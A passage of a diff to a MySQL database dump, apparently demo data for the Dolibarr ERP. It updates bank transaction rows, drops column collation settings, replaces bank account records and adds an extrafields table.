01:11:35','2022-03-06','2022-03-06',20.00000000,'(SubscriptionPayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(23,'2015-03-20 14:30:11','2022-07-04 01:11:35','2022-03-20','2022-03-20',10.00000000,'(SubscriptionPayment)',1,1,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(24,'2016-03-02 19:57:58','2021-07-11 17:49:28','2021-07-09','2021-07-09',605.00000000,'(CustomerInvoicePayment)',1,1,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,'111',NULL,NULL,NULL,NULL,NULL,NULL),(26,'2016-03-02 20:01:39','2022-07-04 01:11:35','2022-03-19','2022-03-19',500.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(27,'2016-03-02 20:02:06','2022-07-04 01:11:35','2022-03-21','2022-03-21',400.00000000,'(CustomerInvoicePayment)',1,1,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,'ABC and Co',NULL,NULL,NULL,NULL,NULL,NULL),(28,'2016-03-03 19:22:32','2022-02-07 13:37:54','2021-10-03','2021-10-03',-400.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(29,'2016-03-03 19:23:16','2022-07-04 01:11:35','2022-03-10','2022-03-10',-300.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(30,'2018-01-22 18:56:34','2022-02-07 13:37:54','2022-01-22','2022-01-22',-900.00000000,'(SupplierInvoicePayment)',1,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(31,'2018-07-30 22:42:14','2022-02-07 13:37:54','2021-07-30','2021-07-30',0.00000000,'(Initial balance)',4,0,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(32,'2017-02-01 19:02:44','2022-02-07 13:37:54','2022-02-01','2022-02-01',-200.00000000,'(SupplierInvoicePayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(33,'2017-02-06 08:10:24','2022-07-04 01:11:35','2022-03-22','2022-03-22',150.00000000,'(CustomerInvoicePayment)',1,12,NULL,'CHQ',NULL,NULL,0,NULL,2,NULL,'Magic Food Store',NULL,NULL,NULL,NULL,NULL,NULL),(34,'2017-02-06 08:10:50','2022-07-04 01:11:35','2022-03-25','2022-03-25',140.00000000,'(CustomerInvoicePayment)',1,12,NULL,'PRE',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(36,'2017-02-16 02:22:09','2022-07-04 01:11:35','2022-02-16','2022-02-16',-1.00000000,'(ExpenseReportPayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(37,'2017-02-21 16:07:43','2022-07-04 01:11:35','2022-02-21','2022-02-21',50.00000000,'(WithdrawalPayment)',1,12,NULL,'PRE',NULL,'T170201',0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(38,'2017-09-06 20:08:36','2022-02-07 13:37:54','2021-09-06','2021-09-06',10.00000000,'(DonationPayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(39,'2018-03-16 13:59:31','2022-07-04 01:11:35','2022-03-16','2022-03-16',10.00000000,'(CustomerInvoicePayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'Indian SAS',NULL,'',NULL,NULL,NULL,NULL),(41,'2019-10-04 10:28:14','2022-02-07 13:37:54','2022-01-19','2022-01-19',5.63000000,'(CustomerInvoicePayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(42,'2019-10-08 13:18:50','2022-02-07 13:37:54','2021-10-08','2021-10-08',-1000.00000000,'Salary payment',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(43,'2019-12-26 01:48:30','2022-02-07 13:37:54','2021-12-25','2021-12-25',-5.00000000,'(SocialContributionPayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(44,'2019-12-26 01:48:46','2022-02-07 13:37:54','2021-12-25','2021-12-25',-5.00000000,'(SocialContributionPayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(47,'2020-01-01 20:28:49','2022-02-07 13:37:54','2022-01-01','2022-01-01',304.69000000,'(SupplierInvoicePayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(48,'2020-01-06 20:52:28','2022-02-07 13:37:54','2022-01-06','2022-01-06',10.00000000,'Patient payment',1,12,NULL,'CB',NULL,NULL,0,NULL,0,NULL,'Patient',NULL,'',NULL,NULL,NULL,NULL),(49,'2020-01-10 04:42:47','2022-02-07 13:37:54','2022-01-10','2022-01-10',-10.00000000,'Miscellaneous payment',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL),(50,'2020-01-16 02:36:48','2022-02-07 13:37:54','2022-01-16','2022-01-16',20.50000000,'(CustomerInvoicePayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,'Magic Food Store',NULL,'',NULL,NULL,NULL,NULL),(51,'2020-01-21 01:02:14','2022-02-07 13:37:54','2021-07-18','2021-07-18',50.00000000,'Subscription 2013',4,12,NULL,'CB',NULL,'12345',0,NULL,0,'Bank CBN',NULL,NULL,'',NULL,NULL,NULL,NULL),(52,'2020-01-21 10:22:37','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'Subscription 2017',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'smith smith',NULL,'',NULL,NULL,NULL,NULL),(53,'2020-01-21 10:23:17','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'(SubscriptionPayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'Pierre Curie',NULL,'',NULL,NULL,NULL,NULL),(54,'2020-01-21 10:23:28','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'(SubscriptionPayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'Pierre Curie',NULL,'',NULL,NULL,NULL,NULL),(55,'2020-01-21 10:23:49','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'(SubscriptionPayment)',4,12,NULL,'CB',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL); +INSERT INTO `llx_bank` VALUES (1,'2012-07-08 23:56:14','2022-12-11 21:23:22','2022-07-08','2022-07-08',2000.00000000,'(Initial balance)',1,NULL,1,'SOLD','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(2,'2012-07-09 00:00:24','2022-12-11 21:23:22','2022-07-09','2022-07-09',500.00000000,'(Initial balance)',2,NULL,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(3,'2012-07-10 13:33:42','2022-12-11 21:23:22','2022-07-10','2022-07-10',0.00000000,'(Solde initial)',3,NULL,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(5,'2013-07-18 20:50:24','2022-12-11 21:23:22','2022-07-08','2022-07-08',20.00000000,'(CustomerInvoicePayment)',1,1,NULL,'CB','201107',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(6,'2013-07-18 20:50:47','2022-12-11 21:23:22','2022-07-08','2022-07-08',10.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(8,'2013-08-01 03:34:11','2022-12-11 21:23:22','2022-08-15','2022-08-01',5.63000000,'(CustomerInvoicePayment)',1,1,1,'CB','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(12,'2013-08-05 23:11:37','2022-12-11 21:23:22','2022-08-12','2022-08-05',-10.00000000,'(SocialContributionPayment)',1,1,1,'VIR','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(13,'2013-08-06 20:33:54','2022-12-11 21:23:22','2022-08-06','2022-08-06',5.98000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(14,'2013-08-08 02:53:40','2022-12-11 21:23:22','2022-08-08','2022-08-08',26.10000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(15,'2013-08-08 02:55:58','2022-12-11 21:23:22','2022-08-08','2022-08-08',26.96000000,'(CustomerInvoicePayment)',1,1,1,'TIP','201211',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(16,'2014-12-09 15:28:44','2022-12-11 21:23:22','2022-12-09','2022-12-09',2.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(17,'2014-12-09 15:28:53','2022-12-11 21:23:22','2022-12-09','2022-12-09',-2.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(18,'2014-12-09 17:35:55','2022-12-11 21:23:22','2022-12-09','2022-12-09',-2.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(19,'2014-12-09 17:37:02','2022-12-11 21:23:22','2022-12-09','2022-12-09',2.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(20,'2014-12-09 18:35:07','2022-12-11 21:23:22','2022-12-09','2022-12-09',-2.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(21,'2014-12-12 18:54:33','2022-02-07 13:37:54','2021-12-12','2021-12-12',1.00000000,'(CustomerInvoicePayment)',1,1,1,'TIP','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(22,'2015-03-06 16:48:16','2022-07-04 01:11:35','2022-03-06','2022-03-06',20.00000000,'(SubscriptionPayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(23,'2015-03-20 14:30:11','2022-07-04 01:11:35','2022-03-20','2022-03-20',10.00000000,'(SubscriptionPayment)',1,1,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(24,'2016-03-02 19:57:58','2022-12-11 21:23:22','2022-07-09','2022-07-09',605.00000000,'(CustomerInvoicePayment)',1,1,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,'111',NULL,NULL,NULL,NULL,NULL,NULL,0),(26,'2016-03-02 20:01:39','2022-07-04 01:11:35','2022-03-19','2022-03-19',500.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(27,'2016-03-02 20:02:06','2022-07-04 01:11:35','2022-03-21','2022-03-21',400.00000000,'(CustomerInvoicePayment)',1,1,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,'ABC and Co',NULL,NULL,NULL,NULL,NULL,NULL,0),(28,'2016-03-03 19:22:32','2022-12-11 21:23:22','2022-10-03','2022-10-03',-400.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(29,'2016-03-03 19:23:16','2022-07-04 01:11:35','2022-03-10','2022-03-10',-300.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(30,'2018-01-22 18:56:34','2022-02-07 13:37:54','2022-01-22','2022-01-22',-900.00000000,'(SupplierInvoicePayment)',1,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(31,'2018-07-30 22:42:14','2022-12-11 21:23:22','2022-07-30','2022-07-30',0.00000000,'(Initial balance)',4,0,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(32,'2017-02-01 19:02:44','2022-02-07 13:37:54','2022-02-01','2022-02-01',-200.00000000,'(SupplierInvoicePayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(33,'2017-02-06 08:10:24','2022-07-04 01:11:35','2022-03-22','2022-03-22',150.00000000,'(CustomerInvoicePayment)',1,12,NULL,'CHQ',NULL,NULL,0,NULL,2,NULL,'Magic Food Store',NULL,NULL,NULL,NULL,NULL,NULL,0),(34,'2017-02-06 08:10:50','2022-07-04 01:11:35','2022-03-25','2022-03-25',140.00000000,'(CustomerInvoicePayment)',1,12,NULL,'PRE',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(36,'2017-02-16 02:22:09','2022-07-04 01:11:35','2022-02-16','2022-02-16',-1.00000000,'(ExpenseReportPayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(37,'2017-02-21 16:07:43','2022-07-04 01:11:35','2022-02-21','2022-02-21',50.00000000,'(WithdrawalPayment)',1,12,NULL,'PRE',NULL,'T170201',0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0),(38,'2017-09-06 20:08:36','2022-12-11 21:23:22','2022-09-06','2022-09-06',10.00000000,'(DonationPayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(39,'2018-03-16 13:59:31','2022-07-04 01:11:35','2022-03-16','2022-03-16',10.00000000,'(CustomerInvoicePayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'Indian SAS',NULL,'',NULL,NULL,NULL,NULL,0),(41,'2019-10-04 10:28:14','2022-02-07 13:37:54','2022-01-19','2022-01-19',5.63000000,'(CustomerInvoicePayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(42,'2019-10-08 13:18:50','2022-12-11 21:23:22','2022-10-08','2022-10-08',-1000.00000000,'Salary payment',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(43,'2019-12-26 01:48:30','2022-02-07 13:37:54','2021-12-25','2021-12-25',-5.00000000,'(SocialContributionPayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(44,'2019-12-26 01:48:46','2022-02-07 13:37:54','2021-12-25','2021-12-25',-5.00000000,'(SocialContributionPayment)',3,12,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(47,'2020-01-01 20:28:49','2022-02-07 13:37:54','2022-01-01','2022-01-01',304.69000000,'(SupplierInvoicePayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(48,'2020-01-06 20:52:28','2022-02-07 13:37:54','2022-01-06','2022-01-06',10.00000000,'Patient payment',1,12,NULL,'CB',NULL,NULL,0,NULL,0,NULL,'Patient',NULL,'',NULL,NULL,NULL,NULL,0),(49,'2020-01-10 04:42:47','2022-02-07 13:37:54','2022-01-10','2022-01-10',-10.00000000,'Miscellaneous payment',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(50,'2020-01-16 02:36:48','2022-02-07 13:37:54','2022-01-16','2022-01-16',20.50000000,'(CustomerInvoicePayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,'Magic Food Store',NULL,'',NULL,NULL,NULL,NULL,0),(51,'2020-01-21 01:02:14','2022-12-11 21:23:22','2022-07-18','2022-07-18',50.00000000,'Subscription 2013',4,12,NULL,'CB',NULL,'12345',0,NULL,0,'Bank CBN',NULL,NULL,'',NULL,NULL,NULL,NULL,0),(52,'2020-01-21 10:22:37','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'Subscription 2017',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'smith smith',NULL,'',NULL,NULL,NULL,NULL,0),(53,'2020-01-21 10:23:17','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'(SubscriptionPayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'Pierre Curie',NULL,'',NULL,NULL,NULL,NULL,0),(54,'2020-01-21 10:23:28','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'(SubscriptionPayment)',4,12,NULL,'CHQ',NULL,NULL,0,NULL,0,NULL,'Pierre Curie',NULL,'',NULL,NULL,NULL,NULL,0),(55,'2020-01-21 10:23:49','2022-02-07 13:37:54','2022-01-21','2022-01-21',50.00000000,'(SubscriptionPayment)',4,12,NULL,'CB',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(56,'2023-01-06 12:36:21','2023-01-06 15:36:21','2023-01-06','2023-01-06',-100.00000000,'(SalaryPayment)',4,12,NULL,'CB',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(57,'2023-02-06 09:18:07','2023-02-06 12:18:07','2022-12-11','2022-12-11',1.00000000,'(CustomerInvoicePayment)',4,12,NULL,'PRE',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(58,'2023-02-16 07:59:23','2023-02-16 10:59:23','2023-02-16','2023-02-16',-6.00000000,'(LoanPayment)',4,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(59,'2023-02-16 08:19:44','2023-02-16 11:19:44','2023-02-16','2023-02-16',-6.00000000,'(LoanPayment)',4,12,NULL,'CB',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(60,'2023-02-16 05:19:57','2023-02-16 11:19:57','2023-02-16','2023-02-16',0.00000000,'(Initial balance)',5,12,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0),(61,'2023-02-16 08:20:12','2023-02-16 11:20:12','2023-02-16','2023-02-16',-6.00000000,'(LoanPayment)',5,12,NULL,'VIR',NULL,NULL,0,NULL,0,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,0); /*!40000 ALTER TABLE `llx_bank` ENABLE KEYS */; UNLOCK TABLES; @@ -1105,48 +727,48 @@ CREATE TABLE `llx_bank_account` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `ref` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(12) NOT NULL, + `label` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `bank` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_banque` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_guichet` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `number` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cle_rib` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bic` varchar(11) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `iban_prefix` varchar(34) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `country_iban` varchar(2) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cle_iban` varchar(2) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `domiciliation` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `bank` varchar(60) DEFAULT NULL, + `code_banque` varchar(128) DEFAULT NULL, + `code_guichet` varchar(6) DEFAULT NULL, + `number` varchar(255) DEFAULT NULL, + `cle_rib` varchar(5) DEFAULT NULL, + `bic` varchar(11) DEFAULT NULL, + `iban_prefix` varchar(34) DEFAULT NULL, + `country_iban` varchar(2) DEFAULT NULL, + `cle_iban` varchar(2) DEFAULT NULL, + `domiciliation` varchar(255) DEFAULT NULL, `pti_in_ctti` smallint(6) DEFAULT 0, `state_id` int(11) DEFAULT NULL, `fk_pays` int(11) NOT NULL, - `proprio` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `owner_address` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `proprio` varchar(60) DEFAULT NULL, + `owner_address` text DEFAULT NULL, `courant` smallint(6) NOT NULL DEFAULT 0, `clos` smallint(6) NOT NULL DEFAULT 0, `rappro` smallint(6) DEFAULT 1, - `url` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `account_number` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_journal` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `currency_code` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL, + `url` varchar(128) DEFAULT NULL, + `account_number` varchar(32) DEFAULT NULL, + `accountancy_journal` varchar(20) DEFAULT NULL, + `currency_code` varchar(3) NOT NULL, `min_allowed` int(11) DEFAULT 0, `min_desired` int(11) DEFAULT 0, - `comment` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `comment` text DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_accountancy_journal` int(11) DEFAULT NULL, - `ics` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ics_transfer` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ics` varchar(32) DEFAULT NULL, + `ics_transfer` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_bank_account_label` (`label`,`entity`), KEY `idx_fk_accountancy_journal` (`fk_accountancy_journal`), CONSTRAINT `fk_bank_account_accountancy_journal` FOREIGN KEY (`fk_accountancy_journal`) REFERENCES `llx_accounting_journal` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1155,7 +777,7 @@ CREATE TABLE `llx_bank_account` ( LOCK TABLES `llx_bank_account` WRITE; /*!40000 ALTER TABLE `llx_bank_account` DISABLE KEYS */; -INSERT INTO `llx_bank_account` VALUES (1,'2012-07-08 23:56:14','2020-01-10 00:44:44','SWIBAC','Swiss bank account',1,'Switz Gold Bank','','','123456789','','','NL39RABO0314043352',NULL,NULL,'21 jum street',0,NULL,6,'Mac Golder','11 big road,\r\nZurich',1,0,1,NULL,'502','','EUR',1500,1500,'',NULL,NULL,NULL,NULL,NULL,NULL,3,NULL,NULL),(2,'2012-07-09 00:00:24','2020-01-10 00:44:53','SWIBAC2','Swiss bank account old',1,'Switz Silver Bank','','','','','','NL07SNSB0908534915',NULL,NULL,'Road bankrupt\r\nZurich',0,NULL,6,'','',1,1,1,NULL,'503','','EUR',200,400,'',NULL,NULL,NULL,NULL,NULL,NULL,3,NULL,NULL),(3,'2012-07-10 13:33:42','2020-01-10 00:44:32','ACCOUNTCASH','Account for cash',1,'','','','','','','',NULL,NULL,'',0,3,1,'','',2,0,1,NULL,'501','OD','EUR',0,0,'',NULL,NULL,NULL,NULL,NULL,NULL,3,NULL,NULL),(4,'2018-07-30 18:42:14','2021-04-15 13:27:05','LUXBAC','Luxemburg Bank Account',1,'Lux Platinuium Bank','','','','','','NL46INGB0687674581',NULL,NULL,'',0,NULL,140,'','',1,0,1,NULL,'50','','EUR',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,3,'',''); +INSERT INTO `llx_bank_account` VALUES (2,'2012-07-09 00:00:24','2020-01-10 00:44:53','SWIBAC2','Swiss bank account old',1,'Switz Silver Bank','','','','','','NL07SNSB0908534915',NULL,NULL,'Road bankrupt\r\nZurich',0,NULL,6,'','',1,1,1,NULL,'503','','EUR',200,400,'',NULL,NULL,NULL,NULL,NULL,NULL,3,NULL,NULL),(3,'2012-07-10 13:33:42','2020-01-10 00:44:32','ACCOUNTCASH','Account for cash',1,'','','','','','','',NULL,NULL,'',0,3,1,'','',2,0,1,NULL,'501','OD','EUR',0,0,'',NULL,NULL,NULL,NULL,NULL,NULL,3,NULL,NULL),(4,'2018-07-30 18:42:14','2021-04-15 13:27:05','LUXBAC','Luxemburg Bank Account',1,'Lux Platinuium Bank','','','','','','NL46INGB0687674581',NULL,NULL,'',0,NULL,140,'','',1,0,1,NULL,'50','','EUR',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,3,'',''),(5,'2023-02-16 08:19:57','2023-02-27 14:03:34','ccc','ccc',1,'','','','','','','',NULL,NULL,'',0,NULL,1,'','',1,0,1,NULL,'10',NULL,'EUR',0,0,'',NULL,NULL,NULL,NULL,NULL,NULL,3,'123456789',''); /*!40000 ALTER TABLE `llx_bank_account` ENABLE KEYS */; UNLOCK TABLES; @@ -1170,7 +792,7 @@ CREATE TABLE `llx_bank_account_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_bank_account_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -1194,7 +816,7 @@ DROP TABLE IF EXISTS `llx_bank_categ`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_bank_categ` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -1233,6 +855,32 @@ LOCK TABLES `llx_bank_class` WRITE; /*!40000 ALTER TABLE `llx_bank_class` ENABLE KEYS */; UNLOCK TABLES; +-- +-- Table structure for table `llx_bank_extrafields` +-- + +DROP TABLE IF EXISTS `llx_bank_extrafields`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `llx_bank_extrafields` ( + `rowid` int(11) NOT NULL AUTO_INCREMENT, + `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `fk_object` int(11) NOT NULL, + `import_key` varchar(14) DEFAULT NULL, + PRIMARY KEY (`rowid`), + KEY `idx_bank_extrafields` (`fk_object`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `llx_bank_extrafields` +-- + +LOCK TABLES `llx_bank_extrafields` WRITE; +/*!40000 ALTER TABLE `llx_bank_extrafields` DISABLE KEYS */; +/*!40000 ALTER TABLE `llx_bank_extrafields` ENABLE KEYS */; +UNLOCK TABLES; + -- -- Table structure for table `llx_bank_url` -- @@ -1244,12 +892,13 @@ CREATE TABLE `llx_bank_url` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, 